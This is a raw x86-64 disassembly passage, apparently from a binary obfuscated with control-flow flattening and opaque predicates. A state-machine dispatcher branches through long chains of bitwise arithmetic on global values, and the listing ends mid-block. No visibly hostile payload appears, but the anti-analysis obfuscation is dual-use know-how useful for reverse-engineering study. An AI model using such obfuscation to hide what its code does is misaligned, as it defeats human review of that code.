cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x5ee12e35
je 0x1400c9c58
cmp ecx, 0x61586def
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x928012fa
and edx, ebp
not ebp
and ebp, 0x928012fa
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc0fd97d8
and edx, 0x3f026827
or edx, ecx
mov ebp, edx
xor ebp, 0xad827add
xor edx, 0x125d0122
and edx, 0x13df1b6b
mov ecx, ebp
and ecx, 0xec20e494
or ecx, edx
mov edx, ecx
xor edx, 0xec20e494
mov ebx, ecx
xor ebx, 0x188f2ee3
and ebx, edx
and ebp, 0xf4afca77
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0xf4afca76
and ebp, 0xb503589
or ebp, ebx
and edx, 1
xor ecx, 0xec20e495
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd232c7cf
and ecx, 0x2dcd3830
or ecx, edx
xor ecx, 0x2dcd3830
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x8b6393b4
and ebp, ecx
or ecx, 0x749c6c4b
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x940b92ca
and edx, 0xb600134
or edx, edi
or ecx, ebx
and ebx, 0x940b92ca
and ebp, 0x6bf46d35
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x749c6c4b
and ecx, 0x8b6393b4
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x8e752c0f
and edx, 0x718ad3f0
or edx, ecx
xor edx, 0x8e752c0f
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, r9d
xor al, dl
mov ebx, eax
and bl, r9b
and al, dl
mov r10d, ebx
xor r10b, 1
xor bl, al
xor al, 1
or al, r10b
xor al, 1
or al, bl
and r8b, dl
or dl, r9b
and cl, r9b
or cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xb1889f5f
mov ebp, 0x8a6caa20
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xb1889f5f
jmp 0x1400cc8d4
cmp ecx, 0x40ae724a
je 0x1400c9c6e
cmp ecx, 0x4210de93
jne 0x1400bd720
mov ecx, 0x55dfc6fa
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x9a6ec955
je 0x1400c9c90
cmp ecx, 0x9b52ae27
jne 0x1400bd720
mov ecx, 0xdf70c077
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xde68ee9b
je 0x1400c9e42
cmp ecx, 0xde89bb41
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0xb6d08d62
mov ecx, eax
and ecx, 0x492f729d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xab5ddde
and ecx, 0xf54a2221
or ecx, edx
mov ebp, ecx
xor ebp, 0x21a8600
xor ecx, 0x1864100c
and ecx, 0x59e4394e
and ebp, 0xa61bc6b1
or ebp, ecx
mov ecx, ebp
xor ecx, 0x61a0201
and ebx, 0xcf3a7521
and eax, 0x30c58ade
or eax, ebx
mov edx, eax
xor edx, 0x10000a4e
xor ebp, 0x59e4394e
xor eax, 0xcf3a7521
mov ebx, ebp
and ebx, 0xe8c5f4b0
and ecx, 0x173a0b4f
or ecx, ebx
or ebp, eax
and eax, 0xe8c5f4b0
and edx, 0x173a0b4f
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
setne al
cmp dword [0x140265724], 9
setg r11b
mov r8d, r11d
and r8b, al
xor r11b, al
or r8b, r11b
mov eax, r8d
xor al, 1
mov r9d, r11d
xor r9b, 1
mov edx, eax
and dl, r8b
mov ebx, r11d
and bl, r9b
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
mov ecx, ebx
xor cl, 1
xor bl, r11b
or cl, r9b
xor cl, 1
or cl, bl
xor cl, dl
xor r9b, r8b
or al, r11b
xor al, 1
or al, r9b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x7a835840
mov ebp, 0xb7e65c98
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0x7a835840
jmp 0x1400ca6e6
cmp ecx, 0x7d442e69
je 0x1400c9e58
cmp ecx, 0x7d7cc109
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0xf3c1f1bb
and edx, 0xc3e0e44
or edx, ebp
xor edx, 0xc3e0e45
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xe06de085
and ebp, edx
not edx
and edx, 0xc4251219
and ecx, 0x3bdaede6
or ecx, edx
mov edx, ecx
xor edx, 0x482004
xor ecx, 0xc0250001
or ecx, 0x1f921f7a
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xaaa6c8b8
and edx, 0x40492005
or edx, edi
or ecx, ebx
and ebx, 0xaaa6c8b8
and ebp, 0x55593747
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1f921f7a
and ecx, 0xe06de085
or ecx, edx
sete cl
setne bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r8b
mov edx, ebx
and dl, r8b
mov eax, r9d
and al, cl
or al, dl
xor al, 1
or al, r8b
or bl, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xb448be8b
mov ebp, 0x89986fae
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xb448be8b
jmp 0x1400cc8d4
cmp ecx, 0xbd4967de
je 0x1400c9fb5
cmp ecx, 0xbe0ff861
jne 0x1400bd720
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x92184eff
and eax, 0x6de7b100
or eax, edx
mov edx, eax
xor edx, 0x92184eff
xor eax, 0x6de7b100
mov ebp, edx
and ebp, 0xfffffffe
and eax, 0xfffffffe
and edx, 1
or edx, eax
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
xor eax, 0x69418ce6
and eax, edx
not edx
and edx, 0x69418ce6
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x96be7319
and eax, 0x69418ce6
or eax, edx
mov edx, eax
not edx
and eax, 0x3087543d
and edx, 0xcf78abc2
or edx, eax
xor edx, 0x3087543d
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp ecx, 0xa
setl sil
cmp ecx, 9
setg r9b
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r11d, ecx
xor r11b, dl
or cl, dl
xor cl, 1
or cl, r11b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
and dl, r9b
xor cl, 1
and cl, sil
or cl, dl
and r9b, r8b
and r10b, sil
or r10b, r9b
mov edx, esi
and dl, r8b
xor sil, r8b
or sil, dl
xor sil, 1
mov edx, r10d
and dl, sil
xor sil, r10b
or sil, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, esi
mov r8d, edx
and r8b, cl
xor cl, dl
mov r9d, esi
mov ebx, edx
and bl, sil
xor dl, sil
xor sil, 1
and al, sil
or cl, r8b
xor r9b, al
xor al, 1
or al, sil
xor al, 1
or al, r9b
xor al, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x2a29e316
mov ebp, 0xfa34602b
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x2a29e316
jmp 0x1400cc3ac
cmp ecx, 0xc7ef69
je 0x1400c9fcb
cmp ecx, 0x2655a68
jne 0x1400bd720
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfc51f92d
and ecx, 0x3ae06d2
or ecx, eax
mov eax, ecx
xor eax, 0x18c06c2
xor ecx, 0x1451e02d
and ecx, 0x1673e03d
and eax, 0xe98c1fc2
or eax, ecx
mov ecx, eax
xor ecx, 0x1673e03d
mov edx, eax
xor edx, 0x1673e03c
and edx, ecx
xor eax, 0xe98c1fc2
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xaf1baf63
and edx, 0x50e4509c
or edx, ebx
or eax, ebp
and ebp, 0xaf1baf63
and ecx, 0x50e4509c
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xf27b6429
and ecx, eax
not eax
and eax, 0x32000001
and edx, 0xc07b6428
or edx, eax
xor edx, 0xc07b6428
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xbc4e7325
and ecx, 0x43b18cda
or ecx, eax
mov eax, ecx
xor eax, 0x1820071
xor ecx, 0x140c
and eax, 0x4fb70371
and ecx, 0xb048fc8e
or ecx, eax
mov eax, ecx
xor eax, 0x48b20041
xor ecx, 0x940e
and ecx, 0x705973e
and eax, 0xf8fa68c1
or eax, ecx
xor eax, 0xf8fa68c1
sete al
cmp dword [0x140265724], 9
setg cl
xor al, cl
mov edx, eax
xor dl, 1
or cl, dl
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xb5d5fb10
mov edx, 0x52d0b11a
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
jmp 0x1400c36bd
cmp ecx, 0x48e4c48e
je 0x1400ca126
cmp ecx, 0x48f3e34e
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, edx
and ecx, ebp
mov ebx, ecx
not ebx
mov edi, ebp
and edi, 0xeb52a2dc
and edx, 0x14ad5d23
or edx, edi
or ebp, ebx
and ebx, 0xeb52a2dc
and ecx, 0x14ad5d23
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0xda6acc86
and edx, ecx
mov esi, ecx
or esi, 0xda6acc86
mov edi, esi
not edi
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x3bb9432b
and edx, 0xc446bcd4
or edx, eax
or ebx, esi
and esi, 0x3bb9432b
and edi, 0x4043050
or edi, esi
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x25953378
and ebx, 0xda6acc87
or ebx, eax
and ebp, 0xfc0aa605
mov eax, ecx
and eax, 0x3f559fa
or eax, ebp
xor eax, 0xfc0aa604
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x560e167a
and ecx, 0xa9f1e985
or ecx, eax
xor ecx, 0xa9f1e985
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xa54dcbbe
and edx, ecx
and ecx, 0x5ab23441
or ecx, eax
mov eax, ecx
xor eax, 0x50a20441
xor ecx, 0xa54dcbbe
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x2e553a92
and eax, 0xd1aac56d
or eax, ebx
or ecx, ebp
and ebp, 0x2e553a92
and edx, 0xd1aac56d
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x280c4188
and eax, 0xd7f3be77
or eax, ecx
mov ecx, eax
xor ecx, 0x44000
xor eax, 0x15220624
and eax, 0x3d2a07ac
and ecx, 0xc2d5f853
or ecx, eax
xor ecx, 0xc2d5f853
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov r8d, edx
xor r8b, 1
mov eax, ecx
or al, r9b
xor al, 1
xor cl, r9b
not cl
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, dl
or cl, r8b
and r8b, al
or r8b, bl
xor al, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, r8b
test al, 1
mov eax, 0xb27c74e9
mov edx, 0x30157334
cmovne eax, edx
test cl, 1
mov ecx, 0xb27c74e9
cmovne ecx, eax
test r8b, r8b
jmp 0x1400cc8d4
cmp ecx, 0x28637271
je 0x1400ca25f
cmp ecx, 0x2930b632
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x91f2099e
mov ebx, edx
not ebx
or ebp, 0x6e0df661
mov ecx, ebp
not ecx
and edx, 0x29ea9f85
and ebx, 0x46056060
or ebx, edx
and ebp, 0x29ea9f85
and ecx, 0x9010001a
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x91f2099e
and ecx, 0x6e0df661
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x97e3c06f
and ecx, 0x681c3f90
or ecx, edx
mov ebx, ecx
xor ebx, 0x10c24027
or ebx, 0xaf2999c8
mov edi, ebx
not edi
or ebp, 0x50d66637
mov edx, ebp
not edx
and ebx, 0xea71baf8
and edi, 0x10864407
or edi, ebx
and ebp, 0xea71baf8
and edx, 0x5080100
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x7360c6d0
and edx, 0x8c9f392f
or edx, ebp
mov ebp, edx
xor ebp, 0x4c480908
mov ebx, ecx
and ebx, 1
xor ecx, 0x681c3f91
or ecx, ebx
mov ebx, ecx
not ebx
xor edx, 0x23b6a0e6
mov edi, edx
and edi, 0x90035655
and ebp, 0x6ffca9aa
or ebp, edi
or edx, ecx
and ecx, 0x90035655
and ebx, 0x6ffca9aa
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x81c87f12
and ecx, 0x7e3780ed
or ecx, ebp
xor ecx, 0x81c87f12
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 9
setg r11b
cmp eax, 0xa
setl al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov ebx, eax
and bl, r11b
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov edx, ecx
xor dl, 1
or cl, dl
mov r10d, edx
xor r10b, cl
or cl, dl
xor cl, 1
or cl, r10b
mov edx, ebx
xor dl, cl
xor dl, 1
and dl, cl
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r8b, r11b
and al, r9b
or al, r8b
mov edx, r11d
xor dl, r9b
or r11b, r9b
xor r11b, 1
or r11b, dl
xor al, 1
mov edx, eax
xor dl, r11b
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x437434d6
mov ebp, 0x6674538b
cmovne ecx, ebp
test bl, 1
mov eax, 0x437434d6
jmp 0x1400c8618
cmp ecx, 0x827f8c6a
je 0x1400ca3e8
cmp ecx, 0x859a1089
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x77c91772
and ebp, 0x8836e88d
or ebp, edi
or ecx, ebx
and ebx, 0x77c91772
and edx, 0x8836e88d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
and ebp, 0x504d034b
mov edx, ecx
and edx, 0xafb2fcb4
or edx, ebp
mov ebp, edx
xor ebp, 0xafb2fcb4
mov ebx, edx
xor ebx, 0x1dd2c1d2
and ebx, ebp
and ecx, 0xb2603d66
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x4d2f0e22
and ecx, 0xb2d0f1dd
or ecx, ebx
xor ecx, 0xff4f3345
and ebp, 1
xor edx, 0xafb2fcb5
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x6a4efa7b
and edx, 0x95b10584
or edx, ecx
mov ecx, edx
xor ecx, 0x80910184
xor edx, 0x4a4c9a50
and ecx, 0xa09361af
and edx, 0x5f6c9e50
or edx, ecx
xor edx, 0xa09361af
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov edx, r9d
xor dl, r11b
mov r10d, edx
and r10b, r9b
and r9b, cl
or cl, r8b
xor cl, 1
or cl, dl
and dl, r11b
mov ebx, r10d
xor bl, 1
xor r10b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r10b
and r11b, r8b
or r11b, r9b
xor cl, 1
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x70b5b772
mov ebp, 0x61586def
cmovne eax, ebp
mov rdx, qword [0x140265040]
test cl, 1
mov ecx, eax
cmovne ecx, ebp
mov qword [rsp + 0x30], rdx
jmp 0x1400cc8d1
cmp ecx, 0xc2f2b9d6
je 0x1400ca3fe
cmp ecx, 0xc48bcf46
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov esi, ebx
not esi
mov ecx, ebx
or ecx, 0xed23b206
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0x12dc4df9
and edx, ebx
mov edi, edx
not edi
mov eax, ecx
and eax, 0x8ed10485
and ebp, 0x100c4978
or ebp, eax
or ecx, edi
and edi, 0x8ed10485
and edx, 0x712efb7a
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd756f8ff
and ecx, 0x28a90700
or ecx, eax
mov edi, ecx
xor edi, 0x27000e0
xor ecx, 0x582b403
and ecx, 0x3d87fe1b
and edi, 0xc27801e4
or edi, ecx
mov eax, edi
xor eax, 0x2001c4
and esi, 0xf3b2aaa5
and ebx, 0xc4d555a
or ebx, esi
mov ecx, ebx
xor ecx, 0x4014148
xor edi, 0x3d87fe1b
xor ebx, 0xf3b2aaa5
mov edx, edi
and edx, 0xfa5c9c33
and eax, 0x5a363cc
or eax, edx
or edi, ebx
and ebx, 0xfa5c9c33
and ecx, 0x5a363cc
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
cmp edi, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov eax, r9d
and al, r8b
xor r8b, dl
and dl, cl
or dl, al
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov edx, eax
xor dl, 1
xor al, bl
or dl, cl
xor dl, 1
or dl, al
xor dl, r8b
xor r8b, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xde9fad3f
mov ebp, 0xa4d2558a
cmovne eax, ebp
test cl, 1
mov ecx, 0xde9fad3f
jmp 0x1400cc68c
cmp ecx, 0x660e5c38
je 0x1400ca469
cmp ecx, 0x6674538b
jne 0x1400bd720
mov ecx, 0x1591839c
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xa4d2558a
je 0x1400ca47f
cmp ecx, 0xa55b1386
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x87f00052
mov ecx, ebx
and ecx, 0x40015d08
or ecx, edx
mov ebp, ecx
xor ebp, 0x40010400
xor ecx, 0xa948a0f7
mov edi, esi
or edi, 0xc7f15d5a
mov edx, edi
not edx
and ecx, 0xa948f9ff
and ebp, 0x46b10400
or ebp, ecx
and edi, 0xa948f9ff
and edx, 0x10060200
or edx, edi
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x30abbc3f
and edx, 0xcf5443c0
or edx, ecx
mov ebp, edx
xor ebp, 0x8a51e9b
xor edx, 0x55506164
and esi, 0x6cb03890
and ebx, 0x934fc76f
or ebx, esi
mov ecx, ebx
xor ecx, 0x1145476c
xor ebx, 0x6cb03890
mov edi, ebp
and edi, 0xaa0a8883
and edx, 0x55f5777c
or edx, edi
or ebp, ebx
and ebx, 0xaa0a8883
and ecx, 0x55f5777c
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r8b
mov ebx, r8d
and bl, cl
xor r8b, cl
or r8b, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, r8d
and cl, dl
mov r9d, r8d
mov r10d, edx
and r10b, cl
xor cl, dl
mov ebx, r8d
and bl, dl
xor dl, r8b
xor r8b, 1
and al, r8b
xor r9b, al
xor al, 1
or al, r8b
xor al, 1
or al, r9b
or cl, r10b
xor cl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xe171115e
mov ebp, 0xb38dd390
cmovne eax, ebp
test dl, 1
mov edx, 0xe171115e
jmp 0x1400ca11b
cmp ecx, 0xe1c1c7f7
je 0x1400ca495
cmp ecx, 0xe28b905c
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xbb9cc2b0
mov ecx, edx
and ecx, 0x44633d4f
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x44633d4e
and ecx, 0xbb9cc2b1
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x824212af
and edx, 0x7dbded50
or edx, ebp
mov ebp, edx
xor ebp, 0x3d250140
xor edx, 0x824212af
mov edi, ecx
and edi, 0xc0dafe9f
and ebx, 0x3f250160
or ebx, edi
or ecx, edx
and edx, 0xc0dafe9f
and ebp, 0x3f250160
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and dl, al
or al, r8b
xor al, 1
and bl, r8b
or bl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
mov edx, 0xd2a556d8
mov ebp, 0x50255f52
cmovne edx, ebp
test al, al
mov ecx, edx
cmovne ecx, ebp
test bl, bl
jmp 0x1400cc122
cmp ecx, 0x1591839c
je 0x1400ca4ab
cmp ecx, 0x18ba0462
jne 0x1400bd720
mov ecx, 0xdafbdcf7
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x567c7ea1
je 0x1400ca5e0
cmp ecx, 0x56df09e1
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x9874a963
mov edx, ebx
and edx, 0x678b569c
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x678b569d
and edx, 0x9874a962
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xa8603a93
and edx, 0x579fc56c
or edx, ebp
and ebx, 0xa8603a93
and ecx, 0x579fc56c
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne al
cmp esi, 0xa
setl dl
cmp esi, 9
setg cl
mov ebx, eax
xor bl, cl
and al, bl
and bl, cl
xor al, 1
xor bl, 1
mov r9d, eax
xor r9b, bl
or bl, al
xor bl, 1
or bl, r9b
xor cl, r8b
xor cl, 1
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov r9d, ebx
xor r9b, 1
mov eax, ebx
and al, r9b
mov edx, ecx
and dl, r8b
mov r10d, eax
and r10b, bl
xor al, bl
or al, r10b
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
xor dl, al
xor r9b, r8b
or cl, bl
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x88392681
mov ebp, 0x53ae62f3
cmovne eax, ebp
test cl, 1
mov ecx, 0x88392681
jmp 0x1400cc68c
cmp ecx, 0x37f35ae1
je 0x1400ca6ee
cmp ecx, 0x3a5a2dd0
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x40108410
and edx, 0x992400a0
or edx, ecx
mov ebx, edx
xor ebx, 0x802000a0
xor edx, 0x4090f313
or ebp, 0xd93484b0
mov ecx, ebp
not ecx
and edx, 0x5994f313
and ebx, 0x802004a0
or ebx, edx
and ebp, 0x5994f313
and ecx, 0x264b084c
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x4c08c7a1
and ecx, 0xb3f7385e
or ecx, edx
mov eax, ecx
xor eax, 0x6a83a886
xor ecx, 0x953c4311
mov edx, ecx
and edx, 0x17c5669
and eax, 0xfe83a996
or eax, edx
mov edi, eax
xor edi, 0xfe83a996
xor eax, 0x17c5669
mov ebp, eax
or ebp, 0x721f4219
mov esi, ebp
not esi
or ecx, 0x8de0bde6
mov ebx, ecx
not ebx
and ebp, 0x7e46c2d6
and esi, 0x81a03d20
or esi, ebp
and ecx, 0x7e46c2d6
and ebx, 0x190009
or ebx, ecx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x4f8b78
and ebx, 0xffb07487
or ebx, ecx
mov ecx, ebx
xor ecx, 0x22408860
and eax, 0xc2c68ad4
mov edx, edi
and edx, 0x3d39752b
or edx, eax
xor edx, 0xc2c68ad5
and edi, 1
or edi, edx
mov eax, edi
not eax
and eax, 0x8cb0464f
and edi, 0x734fb9b0
or edi, eax
mov eax, edi
xor eax, 0x2346b830
xor edi, 0x8cb0464f
xor ebx, 0x8daf369f
mov edx, ebx
and edx, 0x5019418f
and ecx, 0xafe6be70
or ecx, edx
or ebx, edi
and edi, 0x5019418f
and eax, 0xafe6be70
or eax, edi
xor eax, ecx
not ebx
or ebx, eax
mov ecx, ebx
mov eax, ebx
xor eax, 0xd1583bf3
and eax, ebx
not ebx
and ebx, 0xcf8005a0
and ecx, 0x307ffa5f
or ecx, ebx
mov edx, ecx
xor edx, 0x10480243
xor ecx, 0xc10001a0
or ecx, 0x2ea7c40c
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xcf307830
and edx, 0x104803c3
or edx, ebx
or ecx, ebp
and ebp, 0xcf307830
and eax, 0x30cf87cf
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xfd99e1e7
and ecx, 0x2661e18
or ecx, eax
mov eax, ecx
xor eax, 0x100e218b
xor ecx, 0x2440c204
and eax, 0x188f399b
and ecx, 0xe770c664
or ecx, eax
xor ecx, 0xe770c664
sete al
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
and dl, bl
and cl, al
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
